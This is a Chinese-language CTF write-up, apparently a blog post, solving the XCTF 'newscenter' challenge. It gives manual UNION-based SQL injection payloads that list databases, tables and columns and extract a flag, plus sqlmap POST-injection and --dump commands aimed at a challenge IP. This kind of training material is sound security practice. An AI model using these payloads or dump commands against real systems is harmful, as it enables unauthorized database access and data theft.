手工注入

查询所有数据库名称和表名
’ union select 1,table_schema,table_name from information_schema.tables#

  • 发现就两个数据库information_schema与news
  • 查询news数据库中的表的名称
    ’ union select 1,table_schema,table_name from information_schema.tables where table_schema=‘news’ #

[wp]xctf newscenter

  • 查询secret_table里面的列名
    ’ union select 1,table_name,column_name from information_schema.columns where table_name=‘secret_table’ #
    [wp]xctf newscenter
  • 查询fl4g里的字段
    ’ union select 1,1,fl4g from secret_table #
    [wp]xctf newscenter

sqlmap

sqlmap常用命令:
https://www.cnblogs.com/iAmSoScArEd/articles/9263735.html

  • post的注入方式 sqlmap -u “url” --data “search=suibianxie”
    [wp]xctf newscenter
  • 查看表信息
  • sqlmap -u “http://111.198.29.45:31363/” --data “search=acf” --columns
    [wp]xctf newscenter
  • 查看fl4g字段 --dump查看表中数据即可
  • sqlmap -u “http://111.198.29.45:31363/” --data “search=acf” -T secret_table --dump

[wp]xctf newscenter

相关文章:

  • 2021-08-27
  • 2021-07-25
  • 2021-06-06
  • 2021-11-07
  • 2021-04-17
  • 2021-04-06
  • 2021-07-18
  • 2021-11-30
猜你喜欢
  • 2021-10-06
  • 2021-11-08
  • 2021-11-26
  • 2021-04-07
  • 2021-10-12
  • 2021-10-15
  • 2021-12-03
相关资源
相似解决方案